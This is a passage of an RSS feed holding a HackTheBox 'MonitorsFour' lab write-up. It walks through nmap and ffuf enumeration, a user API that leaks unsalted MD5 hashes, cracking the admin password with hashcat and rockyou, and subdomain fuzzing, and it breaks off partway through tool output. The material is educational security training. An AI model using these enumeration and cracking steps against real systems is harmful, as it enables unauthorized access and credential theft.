<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Writeup on Michael Dunn</title><link>https://mdunn99.com/categories/writeup/</link><description>Recent content in Writeup on Michael Dunn</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 04 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://mdunn99.com/categories/writeup/index.xml" rel="self" type="application/rss+xml"/><item><title>HackTheBox Writeup - "MonitorsFour"</title><link>https://mdunn99.com/posts/monitorsfour-htb/</link><pubDate>Mon, 04 May 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/monitorsfour-htb/</guid><description>&lt;p&gt;This assessment followed a black-box approach, beginning with active reconaissance, progressing through enumeration, initial unprivileged foothold into the authorized target, and finally privilege escalation. &lt;a href="https://www.hackthebox.com/machines/MonitorsFour"&gt;MonitorsFour is a HackTheBox &amp;ldquo;easy Windows&amp;rdquo; challenge&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="reconnaissance"&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;Port and service scanning was performed on the target using &lt;code&gt;nmap.&lt;/code&gt; It revealed an HTTP (insecure) webserver and a Microsoft HTTPAPI server, confirming the fact that this IP is associated with a Microsoft machine.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;80/tcp open http nginx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Did not follow redirect to http://monitorsfour.htb/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5985/tcp open http Microsoft HTTPAPI httpd 2.0 &lt;span class="o"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Service Info: OS: Windows&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Enumeration on files and pages from the root directory of the resolved domain name (monitorsfour.htb) revealed information like a &lt;code&gt;login&lt;/code&gt; and &lt;code&gt;user&lt;/code&gt; path:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;contact &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 74ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 199ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;login &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 199ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;static &lt;span class="o"&gt;[&lt;/span&gt;Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 53ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;views &lt;span class="o"&gt;[&lt;/span&gt;Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 181ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;controllers &lt;span class="o"&gt;[&lt;/span&gt;Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 159ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;forgot-password &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 206ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="monitorsfour_login.png" alt=""&gt;&lt;em&gt;monitorsfour.htb/login&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Seeing as the login page was using a basic login form handled through a single POST request (&lt;code&gt;/forgot-password&lt;/code&gt;), SQL injection (SQLi) opportunities were tested for using the tool &lt;code&gt;sqlmap&lt;/code&gt;. No immediate SQLi vulnerabilities were made available through this process.&lt;/p&gt;
&lt;p&gt;One of the discovered webpages: &lt;code&gt;/user&lt;/code&gt;, contained query parameters in its URL which is problematic because it allows for easy fuzzing for valid queries and their values.&lt;/p&gt;
&lt;p&gt;&lt;img src="expoesd_user_webpage.png" alt=""&gt;&lt;em&gt;monitorsfour.htb/user&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Using the enumeration tool &lt;code&gt;ffuf&lt;/code&gt;, a list of potential parameter names was tested against the hidden webpage, revealing the &lt;code&gt;token&lt;/code&gt; parameter.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─$ ffuf -u http://monitorsfour.htb/api/v1/user?FUZZ&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt; -w burp-parameter-names.txt -c -fs &lt;span class="m"&gt;35&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /&lt;span class="s1"&gt;&amp;#39;___\ /&amp;#39;&lt;/span&gt;___&lt;span class="se"&gt;\ &lt;/span&gt; /&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;___&lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /&lt;span class="se"&gt;\ \_&lt;/span&gt;_/ /&lt;span class="se"&gt;\ \_&lt;/span&gt;_/ __ __ /&lt;span class="se"&gt;\ \_&lt;/span&gt;_/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\ \ &lt;/span&gt;,__&lt;span class="se"&gt;\\&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;,__&lt;span class="se"&gt;\/\ \/\ \ \ \ &lt;/span&gt;,__&lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\ \ \_&lt;/span&gt;/ &lt;span class="se"&gt;\ \ \_&lt;/span&gt;/&lt;span class="se"&gt;\ \ \_\ \ \ \ \_&lt;/span&gt;/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\ \_\ &lt;/span&gt; &lt;span class="se"&gt;\ \_\ &lt;/span&gt; &lt;span class="se"&gt;\ \_&lt;/span&gt;___/ &lt;span class="se"&gt;\ \_\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\/&lt;/span&gt;_/ &lt;span class="se"&gt;\/&lt;/span&gt;_/ &lt;span class="se"&gt;\/&lt;/span&gt;___/ &lt;span class="se"&gt;\/&lt;/span&gt;_/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; v2.1.0-dev
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;________________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Method : GET
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: URL : http://monitorsfour.htb/api/v1/user?FUZZ&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Follow redirects : &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Calibration : &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Timeout : &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Threads : &lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Filter : Response size: &lt;span class="m"&gt;35&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;________________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 32, Words: 3, Lines: 1, Duration: 356ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:: Progress: &lt;span class="o"&gt;[&lt;/span&gt;6453/6453&lt;span class="o"&gt;]&lt;/span&gt; :: Job &lt;span class="o"&gt;[&lt;/span&gt;1/1&lt;span class="o"&gt;]&lt;/span&gt; :: &lt;span class="m"&gt;61&lt;/span&gt; req/sec :: Duration: &lt;span class="o"&gt;[&lt;/span&gt;0:01:28&lt;span class="o"&gt;]&lt;/span&gt; :: Errors: &lt;span class="m"&gt;0&lt;/span&gt; ::
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Manual enumeration in the value field of the URL with the found parameter (&lt;code&gt;monitorsfour.htb/user?token=&amp;lt;int&amp;gt;&lt;/code&gt;) revealed potentially sensitive information about users on the &lt;code&gt;/login&lt;/code&gt; portal, including insecure MD5 hashes (a computationally inexpensive-to-crack cryptographic algorithm). The hashes also don&amp;rsquo;t appear to use any form of salting.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;email&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;admin@monitorsfour.htb&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;56b32eb43e6f15395f6c46c1c9e1cd36&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;super user&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;8024b78f83f102da4f&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Marcus Higgins&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;position&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;System Administrator&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;dob&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;1978-04-26&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;start_date&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;2021-01-12&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;salary&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;320800.00&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},{&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;mwatson&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;email&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;mwatson@monitorsfour.htb&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;69196959c16b26ef00b77d82cf6eb169&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;0e543210987654321&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Michael Watson&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;position&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Website Administrator&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;dob&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;1985-02-15&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;start_date&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;2021-05-11&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;salary&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;75000.00&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},{&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;janderson&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;email&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;janderson@monitorsfour.htb&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;2a22dcf99190c322d974c8df5ba3256b&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;0e999999999999999&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Jennifer Anderson&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;position&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Network Engineer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;dob&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;1990-07-16&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;start_date&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;2021-06-20&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;salary&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;68000.00&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},{&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;dthompson&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;email&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;dthompson@monitorsfour.htb&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;8d4a7e7fd08555133e056d9aacb1e519&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;0e111111111111111&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;David Thompson&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;position&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Database Manager&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;dob&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;1982-11-23&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;start_date&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;2022-09-15&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;salary&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;83000.00&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="confirming_md5.png" alt=""&gt;&lt;em&gt;Confirming the use of MD5&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One of the users&amp;rsquo; hashes, &lt;code&gt;admin&lt;/code&gt;, contained a weak password which is also documented in a well-known database of leaked passwords known as &amp;ldquo;rockyou&amp;rdquo;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;0&lt;/span&gt; ~/Documents/htb/monitorsfour/admin_hash rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These credentials were tested to gain access to the MonitorsFour dashboard through the &lt;code&gt;/login&lt;/code&gt; portal which, in conjunction with the users shown in the second image below, confirm that the credentials found earlier are representative of the MonitorsFour dashboard users.
&lt;img src="MF_dashboard.png" alt=""&gt;&lt;em&gt;monitorsfour.htb/dashboard&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="marcus_user_highlight.png" alt=""&gt;
Above, user &lt;code&gt;admin&lt;/code&gt;&amp;rsquo;s first name, Marcus, is highlighted as it was useful for later credentials testing.&lt;/p&gt;
&lt;p&gt;Enumeration on subdomains was performed on monitorsfour.htb using &lt;code&gt;ffuf&lt;/code&gt; revealing cacti.monitorsfour.htb.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─$ ffuf -u http://monitorsfour.htb -H &lt;span class="s2"&gt;&amp;#34;Host: FUZZ.monitorsfour.htb&amp;#34;&lt;/span&gt; -w subdomains-top1million-20000.txt -c -fs &lt;span class="m"&gt;138&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /&lt;span class="s1"&gt;&amp;#39;___\ /&amp;#39;&lt;/span&gt;___&lt;span class="se"&gt;\ &lt;/span&gt; /&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;___&lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /&lt;span class="se"&gt;\ \_&lt;/span&gt;_/ /&lt;span class="se"&gt;\ \_&lt;/span&gt;_/ __ __ /&lt;span class="se"&gt;\ \_&lt;/span&gt;_/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\ \ &lt;/span&gt;,__&lt;span class="se"&gt;\\&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;,__&lt;span class="se"&gt;\/\ \/\ \ \ \ &lt;/span&gt;,__&lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\ \ \_&lt;/span&gt;/ &lt;span class="se"&gt;\ \ \_&lt;/span&gt;/&lt;span class="se"&gt;\ \ \_\ \ \ \ \_&lt;/span&gt;/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\ \_\ &lt;/span&gt; &lt;span class="se"&gt;\ \_\ &lt;/span&gt; &lt;span class="se"&gt;\ \_&lt;/span&gt;___/ &lt;span class="se"&gt;\ \_\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\/&lt;/span&gt;_/ &lt;span class="se"&gt;\/&lt;/span&gt;_/ &lt;span class="se"&gt;\/&lt;/span&gt;___/ &lt;span class="se"&gt;\/&lt;/span&gt;_/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; v2.1.0-dev
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;________________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Method : GET
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: URL : http://monitorsfour.htb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Header : Host: FUZZ.monitorsfour.htb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Follow redirects : &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Calibration : &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Timeout : &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Threads : &lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :: Filter : Response size: &lt;span class="m"&gt;138&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;________________________________________________
